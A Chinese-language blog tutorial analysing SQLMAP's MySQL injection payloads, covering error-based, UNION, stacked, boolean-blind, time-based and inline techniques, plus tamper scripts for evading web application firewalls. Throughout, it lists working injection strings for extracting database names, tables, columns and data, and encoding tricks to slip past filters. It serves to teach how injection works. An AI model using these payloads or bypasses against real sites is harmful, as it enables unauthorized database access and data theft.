文章目錄
個人博客文章:SQL注入方法和繞過技巧
背景
說到SQL注入那就不得不提這個領域自動化操作的佼佼者——SQLMAP,因此學習SQL注入很好的一個方法就是,分析SQLMAP的注入流程。
下面通過學習 SQLMAP 中的注入方法和其相應的 Payload,以及 SQLMAP 中的 Tamper 腳本源碼,瞭解 SQL注入的常見方法和繞過技巧。
SQL注入的方法
依據注入過程獲取信息的主要技巧不同,SQLMAP 中把注入技術分爲以下 6 種,分別爲 報錯注入(Error-based)、聯合查詢(Union queries)、堆疊查詢(Stack queries)、布爾盲注(Boolean-based blind)、延時盲注(Time-based blind)、內聯查詢(inline queries)。SQLMAP 中使用 --technique
的選項選擇使用不同的注入技術,默認爲 ”EUSBTQ“
,每個字母分別對應上述 6 種技術的一種。
接着我會按 SQLMAP 中每一類技術中的 Payload 和通用 注入向量(模板)進行分析,SQLMAP 的 Payload 可在其源碼中查看,Payload 均以 XML 文件格式存儲,對於其中 Payload 較少的,在另外從PayloadsAllTheThings-MySQLInjection 學習。所有的 Payload 均爲 Mysql 環境下的。
Q:表示使用內聯查詢(inline queries)進行注入,爲什麼不用
I
?個人認爲可能是I
顯示有點像1
,不易讀。
報錯注入
概念
報錯注入(Error-based)的利用條件是:
- SQL 操作/函數 報錯
- 構造會出現執行錯誤的 SQL 查詢語句,將需要獲取的信息(如版本、數據庫名)放到會在錯誤信息輸出的位置
- 網站回顯數據庫執行的報錯信息,得到數據庫信息
報錯注入常使用的操作/函數:
FLOOR(RAND(0)*2)
+GROUP BY
,報錯信息Duplicated entry
ExtractValue(1, ”構造信息“)
,報錯信息XPATH syntax error: 信息
UpdateXML(1, “構造信息”, 1)
,報錯信息XPATH syntax error: 信息
Payloads
Payload 文件:error_based.xml,主要分析以下幾個注入 Payload:
數溢出報錯
# 攻擊向量
AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))
# 攻擊 Payload
AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]','x'))s), 8446744073709551610, 8446744073709551610)))
########## 分析 ##########
# 想要獲取的內容在攻擊向量的 [QUERY] 部分,IF 條件是否成立,
# 都會選擇一個大整數 8446744073709551610*2,就會導致整數溢出
# 攻擊條件: Mysql >= 5.5
# 攻擊向量
AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]','x'))x))
# 攻擊 Payload
AND EXP(~(SELECT * FROM (SELECT CONCAT('[DELIMITER_START]',version(),'[DELIMITER_STOP]','x'))x))
########## 分析 ##########
# 想要獲取的內容在攻擊向量的 [QUERY] 部分, ~ 符號取反,
# 導致數值很大的數,進行 exp() 操作導致最終的結果溢出
# 攻擊條件:Mysql >= 5.5
上面兩個攻擊方法在我自己使用過程中,得不到相應的信息,錯誤信息展開 [QUERY] 中的內容,如下:
mysql> select id from comments where id=1 AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(char(126),(select elt(335=335,1)),char(126)))s), 8446744073709551610, 8446744073709551610))); ERROR 1690 (22003): BIGINT value is out of range in '(2 * if((select `s`.`CONCAT(char(126),(select elt(335=335,1)),char(126))` from (select concat(char(126),elt((335 = 335),1),char(126)) AS `CONCAT(char(126),(select elt(335=335,1)),char(126))`) `s`),8446744073709551610,8446744073709551610))' mysql> select exp(~(select * from (select CONCAT('[DELIMITER_START]',version(),'[DELIMITER_STOP]','x'))s)); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select `s`.`CONCAT('[DELIMITER_START]',version(),'[DELIMITER_STOP]','x')` from (select concat('[DELIMITER_START]',version(),'[DELIMITER_STOP]','x') AS `CONCAT('[DELIMITER_START]',version(),'[DELIMITER_STOP]','x')`) `s`)))'
GROUP BY 報錯
# 攻擊向量
OR (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
# 攻擊 Payload
OR (SELECT NULL FROM(SELECT COUNT(*),CONCAT('~',database(),'~',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
########## 分析 ##########
# 想要獲取的內容在攻擊向量的 [QUERY] 部分進行構造,
# 報錯原因在於,使用 GROUP BY 語句以 x 列進行分組,組內使用 COUNT 統計,x 列的值由
# CONCAT('~',database(),'~',FLOOR(RAND(0)*2)) 產生,而 FLOOR(RAND(0)*2)) 的值爲 1 或 0,
# GROUP BY 進行分組時,會建立一個虛擬表,虛擬表有兩個列,分別爲 x 和 count(*),然後查詢數據時,
# 首先檢查分組 x的值 是否存在,如果不存在,則插入虛擬表,存在 count(*)+1,但是查詢分組的值是否存在
# 以及插入分組值時都會重新計算 RAND(0)*2),而 FLOOR(RAND(0)*2)) 產生的序列爲 01101...,
# 第一次插入時檢查爲0,插入爲1,第二次檢查爲1,count(*)+1,第三次檢查爲0,虛擬表不存在,但實際
# 插入的值爲 1,導致 group_key 重複。
# 利用條件:Mysql >= 5.0,使用 count() + floor(rand(0)*2) + group by
# 低版本 Mysq >= 4.1, 不存在 information_schema,自行構造數據
# 攻擊向量
OR ROW([RANDNUM],[RANDNUM1])>(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM (SELECT [RANDNUM2] UNION SELECT [RANDNUM3] UNION SELECT [RANDNUM4] UNION SELECT [RANDNUM5])a GROUP BY x)
# 攻擊 Payload
OR ROW(1,2)>(SELECT COUNT(*),CONCAT('~',database(),'~',FLOOR(RAND(0)*2))x FROM (SELECT 3 UNION SELECT 4 UNION SELECT 5 UNION SELECT 6)a GROUP BY x)
XPATH 報錯
# 攻擊向量
AND EXTRACTVALUE([RANDNUM],CONCAT(1,'[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))
# 攻擊 Payload
AND EXTRACTVALUE(1,CONCAT('~',database(),'~'))
########## 分析 ###########
# ExtractValue(xml_frag, xpath_expr),第一個參數時 XML 文檔字符串,第二個參數時 XPATH 路徑,
# 當 XPATH 路徑錯誤是,就會報錯,錯誤信息即爲: CONCAT('~',database(),'~') 執行後的結果
# 攻擊向量
AND UPDATEXML([RANDNUM],CONCAT('.','[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'),[RANDNUM1])
# 攻擊 Payload
AND UPDATEXML(1,CONCAT('.','~',version(),'~'),2)
########## 分析 ###########
# UpdateXML(xml_target, xpath_expr, new_xml),第二個參數爲 XPATH,
# 當 XPATH 路徑錯誤是,就會報錯,錯誤信息即爲: CONCAT('.','~',version(),'~') 執行後的結果
# 利用條件:Mysql >= 5.1
聯合查詢
概念
聯合查詢(Union Queries)使用 UNION SELECT
語句聯合兩個查詢列數相同的 SELECT
語句,
聯合查詢的利用條件是:
- 可以使用
UNION SELECT
語句 UNION SELECT
語句查詢的結果能看到
Payloads
通常先使用 ORDER BY
語句查出顯示的列數
ORDER BY 1 #
ORDER BY 2 #
...
ORDER BY N #
# 當沒有顯示,或者網頁報錯時,說明前一個數即爲列數
SQLMAP中給出的通用攻擊向量如下:
UNION SELECT 1,2,3,.. [SQL_COMMENT]
Mysql >= 5.0
# 查數據庫名字
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
# 查表名
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
# 查列名
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
# 查數據
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...
不使用 information_schema
獲取列名
# 使用 JOIN 操作依次報錯查詢列名
-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b)a
# ERROR 1060 - Duplicate column name 'id'
-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id))a
# ERROR 1060 - Duplicate column name 'name'
-1 UNION SELECT * FROM (SELECT * FROM users JOIN users b USING(id,name))a
...
MySQL >= 4.1
低版本的 Mysql 沒有 information_schema
,通常只能暴力破解表名,之後可以按如下方式獲取列名
# 查列數,假定表有 4 列
select 1 and(SELECT * from table_name)=(1)
# 報錯: Operand should contain 4 column(s),獲取列數 4
# 接着獲取列名
select 1 and (1,2,3,4) = (SELECT * from table_name UNION SELECT 1,2,3,4 LIMIT 1)
# 報錯:column 'id' cannot be null
未知列名的情況
在未知列名的情況,也能獲取數據,技巧就是使用列名的別稱。
# 獲取表 users 的 4 列內容
select `4` from (select 1,2,3,4,5,6 union select * from users)x;
# 直接使用字符
select concat(a,'~',b) from (select 'a','b','c','d','e','f' union select * from users)x;
# 別名
select concat(a,'~',b) from (select 1,2 as 'a',3,4,5 as 'b',6 union select * from users)x;
堆疊查詢
概念
堆疊查詢(Stack Queries)可以依次執行多個 SQL 查詢語句,類似 Linux 依次執行多個命令 cd ..; ls
。不同的數據庫和API 對堆疊查詢的支持不一樣,如MySQL 、MSSQL、PostgreSQL 本身是支持堆疊查詢的,使用 ;
將多個語句分開,但是可能數據庫的API 接口不支持,如 PHP的數據庫查詢接口就有可能不支持。堆疊查詢和聯合查詢的區別在於:堆疊查詢可以執行任何 SQL 語句(只要能成功執行,如DELECT
、INSERT
等操作),聯合查詢僅支持 SELECT
語句,同時兩個查詢語句的列數要一致。
堆疊查詢的利用條件:
- 數據庫和API接口支持堆疊查詢
- 最好能看到執行的結果
Payloads
判斷注入點
# 攻擊向量
;SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])
# Payload
# 響應發生明顯延遲
;SELECT SLEEP(5) -- a
推斷數據庫信息
# 攻擊向量
# 如果[INFERENCE]正確,則延時執行
;SELECT IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])
;SELECT IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM])
;(SELECT * FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
# 攻擊 Payload
# 判斷數據庫版本
;SELECT IF((mid(version(),1,1)=5),SLEEP(3),1)
# 推斷數據庫名
;SELECT IF((ASCII(MID(DATABASE(),1,1))>90),SLEEP(3),1)
布爾盲注
概念
布爾盲注(Boolean-based blind)即基於布爾值的方法,通過 SQL語句中真假條件的執行情況推斷出數據庫的信息,主要是根據網頁的顯示結果進行判斷,這和 error-based 方法使用 SQL語句執行錯誤的回顯信息不同,這裏使用的查詢語句是能正確執行的。
利用條件:
- 能使用
AND
、OR
、NOT
操作 - 能通過網頁響應判斷 SQL 語句的執行情況
Payloads
按種注入的流程,通常包括以下幾種類型:判斷注入點,推斷數據庫信息。
判斷注入點
# 攻擊向量
[AND, OR, OR NOT] [INFERENCE]
# 攻擊 Payload
AND 1=1 -- a
AND 1=2 -- a # 比較兩個 payload 的結果,如果不同着說明存在注入點
推斷數據庫信息
# 攻擊向量
[AND, OR, OR NOT] [INFERENCE]
# 攻擊 Payload
# 使用字符串截取函數 substring | substri | mid | left | right ...
# 判斷版本
and substring(version(),1,1)=5
and right(left(version(),1),1)=5
and left(version(),1)=4
and ascii(lower(substr(Version(),1,1)))=51 # ascii 返回字符串第一個字符的 ascii 值
and (select mid(version(),1,1)=4)
# 數據庫名、表名、列名(暴力、二分法)
# 判斷名字的長度
AND SELECT LENGTH(DATABASE())>10
# 依次破解每一個字符
AND SELECT SUBSTR(database(),1,1) > 'a'
AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables > 'A'
AND SELECT ASIIC(SUBSTR(table_name,1,1)) FROM information_schema.tables > 110
AND SELECT SUBSTR(column_name,1,1) FROM information_schema.columns > 'A'
# 利用 Mysql MAKE_SET
# MAKE_SET(bits,str1,str2,...),strN 對應 bit(N-1),bit(N-1) 爲 1 則返回,
# 如 MAKE_SET(3,'A','B','C'),返回 ‘A','B'
select first_name from users where user_id=3 and make_set(length(database())>4,1);
select first_name from users where user_id=3 and make_set(ascii(mid(database(),2,1))>118,1);
延時盲注
概念
延時盲注(Time-based blind)即基於延時的方法,同樣通過 SQL語句中真假條件的執行情況推斷出數據庫的信息,但是使用延時執行的函數如 Mysql 中 sleep
,使得不同條件執行查詢的時間不同,自然網頁上顯示結果的時間存在差異,以此推斷數據庫的信息。
利用條件:
- 能使用延時函數如 Mysql 中的
sleep
函數 - 能通過網頁響應判斷 SQL 語句的執行情況
Payloads
延時的方法
SLEEP
SLEEP(n)
,延時 n 秒後執行
BENCHMARK
BENCHMARK(loop_count,expr)
函數用來測試 SQL 語句或者函數的執行時間,第一個參數表示執行的次數,第二個參數表示要執行的操作。通常使用使用 MD5、SHA1 等函數,執行次數 100000。
GET_LOCK
MySQL 的GET_LOCK(str, timeout)
函數嘗試獲取一個名字爲 str
的鎖 ,等待 timeout
秒未獲得,則終止函數,函數返回 0 值,成功則返回 1。利用條件是,開啓兩個 MySQL 數據庫連接,先後在兩個連接中使用 GET_LOCK 函數獲取相同名字的鎖,後面使用 GET_LOCK 函數的連接無法得到鎖,等待 timeout
秒後執行其它操作。
# 第一個連接
mysql> select 1 and get_lock('fool',1);
+--------------------------+
| 1 and get_lock('fool',1) |
+--------------------------+
| 1 | # 獲取成功,返回 1
+--------------------------+
1 row in set (0.00 sec)
# 第二個連接
mysql> select 1 and get_lock('fool', 3);
+---------------------------+
| 1 and get_lock('fool', 3) |
+---------------------------+
| 0 | # 獲取失敗,返回 0 ,
+---------------------------+
1 row in set (3.00 sec) # 等待了三秒後執行
笛卡爾積 查詢
SQL 進行多表查詢時,需要按照笛卡爾積乘的方式合成一個虛擬表進行查詢,如三個表 (10,2)(100,3)(200,4)進行多表查詢,最終合成一個虛擬表(200000,9),這種方式會導致最終的查詢很費時。
mysql> select count(*) from information_schema.tables a, information_schema.tables b, information_schema.tables c;
+-----------+
| count(*) |
+-----------+
| 317214568 |
+-----------+
1 row in set (3.31 sec)
RLIKE 正則匹配
MySQL 中的 RLIKE 函數對字符串進行正則匹配,當目標字符串很長同時匹配規則複雜且失敗的情況會相當的耗時。
RPAD(str,len,padstr)
函數爲 str
字符串右填充字符 padstr
至總長度爲 len
,可以用於構造長字符串。
REPEAT(str,count)
函數構成一個重複 str
字符串 count
次。
# 根據實際情況調整,目標和匹配字符串的長度
mysql> select rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b');
+-------------------------------------------------------------+
| rpad('a',4999999,'a') RLIKE concat(repeat('(a.*)+',30),'b') |
+-------------------------------------------------------------+
| 0 |
+-------------------------------------------------------------+
1 row in set (3.53 sec)
判斷注入點
# 攻擊向量
AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR])
# 攻擊 Payload
AND (SELECT 1 FROM (SELECT(SLEEP(10)))a)
AND 1 # 比較兩個請求的響應時間
推斷數據庫信息
# 攻擊向量
# 1. 如果[INFERENCE]正確,則延時執行,同時響應錯誤
AND [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM])
AND [RANDNUM]=IF(([INFERENCE]),BENCHMARK([SLEEPTIME]000000,MD5('[RANDSTR]')),[RANDNUM])
# 使用 RLIKE 時會匹配表中的每一條數據,所總延時=查詢表的行數 * SLEEPTIME,所以根據適當調小 SLEEPTIME,如0.1
RLIKE (SELECT [RANDNUM]=IF(([INFERENCE]),SLEEP([SLEEPTIME]),[RANDNUM]))
# 2. 如果[INFERENCE]正確,則延時執行,反之則不延時
AND (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]))
RLIKE (SELECT [RANDNUM] FROM (SELECT(SLEEP([SLEEPTIME]-(IF([INFERENCE],0,[SLEEPTIME])))))[RANDSTR]))
# 攻擊 Payload
# 判斷數據庫名字的長度
AND 1=IF(LENGTH(DATABASE())>5, SLEEP(5), 1)
# 數據庫名、表名、列名(暴力、二分法)
AND (SELECT 1 FROM (SELECT(SLEEP(2-(IF(ascii(mid(database(),1,1))>90,0,2)))))x)
RLIKE(SELECT 1=IF(ASCII(MID(DATABASE(),2,1))>118,SLEEP(0.5),1))
內聯查詢
概念
內聯查詢(Inline Queries)的格式如下:
SELECT statemnt FROM (SELECT statement);
FROM
後面跟着的部分是一個 SELECT
查詢子句,這個子句產生的結果會保存在 內聯視圖(Inline View)中。視圖和表的結構一樣但沒有實際存儲的數據,它建立在其他的表或者視圖上。
內聯查詢通常用於和其它方法結合使用,如在報錯注入中就很常用到內聯查詢:
id=1' AND (SELECT 7430 FROM(SELECT COUNT(*),CONCAT(0x7178787071,(SELECT (ELT(7430=7430,1))),0x716a6b7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND 'IMUF'='IMUF
Payload
# 攻擊向量
(SELECT CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]'))
# 攻擊 Paylaod,常和其它注入技巧結合使用,如報錯
(SELECT CONCAT('[DELIMITER_START]',(SELECT (ELT([RANDNUM]=[RANDNUM],1))),'[DELIMITER_STOP]'))
繞過技巧
SQLMAP 中的繞過技巧
進行注入時,往往會遇到服務端主機裝有 WAF(Web Application Firewall)對 Payload 進行過濾的情況,這使得注入攻擊無法成功實施。但 WAF 往往是通過規則對攻擊的 Payload 進行檢測然後過濾,只要我們能繞過 WAF 的檢測規則就能完成攻擊。那麼繞過的方法一般有哪些呢?我們可以透過 SQLMAP 中的繞過技術學習一二。
SQLMAP 中有一個 Tamper 模塊專爲繞過 WAF 制定特殊的 Payload,–-tamper
選項可以使用加載模塊的不同繞過方法將Payload後進行注入。
繞過的技巧通常有:
- 字符編碼轉換
- 同等功能轉換
- 使用註釋符
字符編碼轉換
SQLMAP 中 Tamper 模塊中的很多腳本都使用字符的不同編碼進行繞過,主要有的編碼轉換方式有:
- 使用 base64 編碼整個Payload
- Unicode 編碼
- url 編碼/雙 url 編碼
- utf-8 編碼
- HTML 編碼
SQLMAP 中的 Tamper 腳本有:
Tamper 腳本 | 描述 |
---|---|
base64encode | base64 編碼 Payload |
chardoubleencode | 雙url編碼 |
charencode | url編碼 |
charunicodeencode | 使用 Unicode 編碼 |
charunicodeescape | 使用 Unicode 編碼 |
apostrophemask | 使用 UTF-8 編碼字符 ’ ,%EF%BC%87 替換 ‘ |
htmlencode | 使用 HTML 編碼 Payload |
apostrophennullencode | 使用 %00%27 替換 ‘ |
overlongutf8 | 對非字符數字進行 UTF-8 編碼, |
overlongutf8moremore | 對所有Payload 進行 UTF-8 編碼 |
同等功能轉換
當 WAF 過濾了特定函數或者關鍵字時,考慮使用其它方法實現該功能。SQLMAP Tamper 的腳本主要有:
Tamper 腳本 | 描述 |
---|---|
between | 使用 BETWEEN 實現 > 和 = 的功能 |
commalesslimit | LIMIT N OFFSET M 替換LIMIT M, N ,繞過逗號過濾 |
commalessmid | MID(A FROM B FOR C) 替換 MID(A, B, C) ,繞過逗號過濾 |
concat2concatws | 使用 concat_ws 函數替換 concat 函數 |
equaltolike | 使用 LIKE 替換 = |
greatest | 使用 GREATEST 函數實現 > 的功能,1 AND A>B 轉換爲 1 AND GREATEST(A, B+1)=A |
least | 使用 LEAST 函數實現 > 的功能,1 AND A > B 轉換爲 1 AND LEAST(A,B+1)=B+1 |
ifnull2ifisnull | 使用 IF(ISNULL(A), B, A) 替換 IFNULL(A, B) |
ifnull2casewhenisnull | 使用 替換 CASE WHEN ISNULL(A) THEN (B) ELSE (A) END 替換IFNULL(A, B) |
symboliclogical | 使用 && 和 || 替換 AND 和 OR , |
使用註釋符
註釋符可以實現空格的替換、繞過函數過濾等。SQLMAP 中的 Tamper 腳本主要有:
Tamper 腳本 | 描述 |
---|---|
commentbeforeparentheses | 在括號前添加註釋符 /**/ ,如 ABS() 變爲 ABS/**/() |
space2comment | 使用註釋符/**/ 替換空格,SELECT id FROM users 轉換爲 SELECT/**/id/**/FROM/**/users |
space2dash | 使用註釋符 –- 替換空格 |
space2hash | 使用註釋符 # 替換空格 |
space2morecomment | SELECT id FROM users 轉換爲 SELECT/**_**/id/**_**/FROM/**_**/users |
randomcomments | 隨機插入註釋符 /**/ ,如 INSERT 變爲 I/**/NS/**/ERT |
versionedkeywords | 使用 MySQL 特有的註釋符 /*!*/ ,保留關鍵字,在 MySQL 中/*!內容*/ 表示內容在 MySQL 中才執行,其它數據庫中不會執行。 |
versionedmorekeywords | 使用 MySQL 特有的註釋符 /*!*/ ,保留更多的關鍵字 |
自定義 Tamper 腳本
在實際情況中遇到的 WAF 多種多樣,我們需要針對性地修改 Payload 以繞過過濾規則。所以很有必要學習如何編寫 SQLMAP 的 Tamper 腳本。Tamper 腳本的編寫其實還是比較容易的,主要涉及 Python 中的字符串替換的操作。一個 Tamper 腳本就是一個 Python 文件,當 SQLMAP 使用 --tamper “tamper腳本名”
就會調用相應的 Tamper 腳本對 Payload 進行特定的處理。
以 SQLMAP 中一個很簡單的 equaltolike.py
Tamper 腳本爲例:
import os
import re
from lib.core.common import singleTimeWarnMessage
from lib.core.enums import DBMS
from lib.core.enums import PRIORITY
__priority__ = PRIORITY.HIGHEST
def dependencies():
singleTimeWarnMessage("tamper script '%s' is unlikely to work against %s" % (os.path.basename(__file__).split(".")[0], DBMS.PGSQL))
def tamper(payload, **kwargs):
"""
Replaces all occurrences of operator equal ('=') with 'LIKE' counterpart
Tested against:
* Microsoft SQL Server 2005
* MySQL 4, 5.0 and 5.5
Notes:
* Useful to bypass weak and bespoke web application firewalls that
filter the equal character ('=')
* The LIKE operator is SQL standard. Hence, this tamper script
should work against all (?) databases
>>> tamper('SELECT * FROM users WHERE id=1')
'SELECT * FROM users WHERE id LIKE 1'
"""
retVal = payload
if payload:
retVal = re.sub(r"\s*=\s*", " LIKE ", retVal)
return retVal
腳本主要有三個部分:
__priority__ = PRIORITY.HIGHEST
dependencies()
函數tamper(payload, **kwargs)
函數
__priority__ = PRIORITY.HIGHEST
用於聲明腳本的優先級,在使用多個腳本時,需要通過該值判斷腳本執行的先後順序。通過 from lib.core.enums import PRIORITY
導入 PRIORITY
類,其聲明如下,總共有 7 個等級。
class PRIORITY(object):
LOWEST = -100
LOWER = -50
LOW = -10
NORMAL = 0
HIGH = 10
HIGHER = 50
HIGHEST = 100
除了 PRIORITY
這個 enum 類,lib.core.enums
中還有很多 SQLMAP 常用的 enum 類,如 DBMS 的名字、HTTP 請求的方法等。
dependencies()
函數用於輸出腳本的適用範圍,調用 SQLMAP 自定義函數 singleTimeWarnMessage
進行輸出,適用所有情況可以忽略說明,
def dependencies():
pass
tamper(payload, **kwargs)
函數使用 re.sub
正則替換函數實現 Payload 中 =
和 LIKE
的替換。函數的第一參數爲需要修改的 payload 字符串,第二個爲SQLMAP 中的參數。
因此,寫 Tamper 腳本主要是在 tamper()
函數中實現 Payload 的修改。